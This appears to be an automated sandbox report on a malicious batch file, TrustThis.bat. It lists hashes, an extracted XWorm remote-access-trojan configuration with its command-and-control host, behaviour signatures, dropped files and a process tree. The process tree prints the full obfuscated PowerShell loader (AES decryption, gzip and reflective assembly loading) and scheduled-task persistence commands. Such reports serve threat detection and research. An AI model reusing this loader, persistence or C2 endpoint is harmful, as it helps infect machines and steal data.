Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2024 16:40

General

  • Target

    TrustThis.bat

  • Size

    399KB

  • MD5

    85b6801e12b0ee43cf2560af4de44ce5

  • SHA1

    243e69b236417be977c73eadfbdfd55325e125b7

  • SHA256

    9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

  • SHA512

    4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944

  • SSDEEP

    6144:pKLt2bMn672f3rrEQW7064pE67o8kYJ9b+OLDG7hg+2Xr2mpB3bcJ4VLuAFsdrTi:pKCMqW3ZW7nPY3b+G4gI0jVLmVi

Malware Config

Extracted

Family

xworm

C2

paris-itself.gl.at.ply.gg:49485

Attributes
  • Install_directory

    %Public%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3000
      • C:\Windows\system32\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
          PID:1188
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of WriteProcessMemory
        PID:3484
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TrustThis.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:688
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Local\Temp\TrustThis.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
            3⤵
              PID:3908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3936
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_831_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_831.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1664
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_831.vbs"
                4⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:2388
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_831.bat" "
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5100
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Roaming\Windows_Log_831.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                    6⤵
                      PID:956
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      6⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • Adds Run key to start application
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:3880
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost"
                        7⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3644
          • C:\Users\Public\svchost
            C:\Users\Public\svchost
            1⤵
            • Executes dropped EXE
            PID:1080

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            661739d384d9dfd807a089721202900b

            SHA1

            5b2c5d6a7122b4ce849dc98e79a7713038feac55

            SHA256

            70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

            SHA512

            81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

            Filesize

            53KB

            MD5

            a26df49623eff12a70a93f649776dab7

            SHA1

            efb53bd0df3ac34bd119adf8788127ad57e53803

            SHA256

            4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

            SHA512

            e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            2KB

            MD5

            005bc2ef5a9d890fb2297be6a36f01c2

            SHA1

            0c52adee1316c54b0bfdc510c0963196e7ebb430

            SHA256

            342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

            SHA512

            f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihybzgqk.bvj.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\Windows_Log_831.bat

            Filesize

            399KB

            MD5

            85b6801e12b0ee43cf2560af4de44ce5

            SHA1

            243e69b236417be977c73eadfbdfd55325e125b7

            SHA256

            9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

            SHA512

            4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944

          • C:\Users\Admin\AppData\Roaming\Windows_Log_831.vbs

            Filesize

            115B

            MD5

            cf09a700bfb9931222f08229a0ca4821

            SHA1

            c64286075e83cb49c5fee4d781a24d82c3e264e8

            SHA256

            79afc03074b518d9123809f1815707e13f48a02d86ce2d76599a6ad8e1ac228d

            SHA512

            cf5b5c8ae3c707781696df368abe9e18444a6b2f7f810ca3eaacfd36d77ea685c29c72538db1a4cfd438cc28eec91cdd7475ae40bb7f581601dff7527bc320be

          • C:\Users\Public\svchost

            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          • memory/1188-59-0x00007FF8EB4E0000-0x00007FF8EB59E000-memory.dmp

            Filesize

            760KB

          • memory/1188-58-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

            Filesize

            2.0MB

          • memory/1188-57-0x00000257FB1B0000-0x00000257FB5B0000-memory.dmp

            Filesize

            4.0MB

          • memory/1188-60-0x00007FF8E9F80000-0x00007FF8EA249000-memory.dmp

            Filesize

            2.8MB

          • memory/1188-53-0x00000257F9620000-0x00000257F962A000-memory.dmp

            Filesize

            40KB

          • memory/1664-18-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/1664-19-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/1664-31-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/3484-49-0x0000000000A60000-0x0000000000A89000-memory.dmp

            Filesize

            164KB

          • memory/3484-52-0x000000000B500000-0x000000000B900000-memory.dmp

            Filesize

            4.0MB

          • memory/3484-50-0x00000000003C0000-0x00000000003C9000-memory.dmp

            Filesize

            36KB

          • memory/3484-51-0x000000000B500000-0x000000000B900000-memory.dmp

            Filesize

            4.0MB

          • memory/3880-61-0x000001D734520000-0x000001D734536000-memory.dmp

            Filesize

            88KB

          • memory/3936-15-0x0000017DB8400000-0x0000017DB8408000-memory.dmp

            Filesize

            32KB

          • memory/3936-55-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/3936-16-0x0000017DB8480000-0x0000017DB84CC000-memory.dmp

            Filesize

            304KB

          • memory/3936-0-0x00007FF8CE2F3000-0x00007FF8CE2F5000-memory.dmp

            Filesize

            8KB

          • memory/3936-14-0x0000017DB8500000-0x0000017DB8576000-memory.dmp

            Filesize

            472KB

          • memory/3936-13-0x0000017DB8430000-0x0000017DB8474000-memory.dmp

            Filesize

            272KB

          • memory/3936-12-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/3936-11-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

            Filesize

            10.8MB

          • memory/3936-6-0x0000017DB8050000-0x0000017DB8072000-memory.dmp

            Filesize

            136KB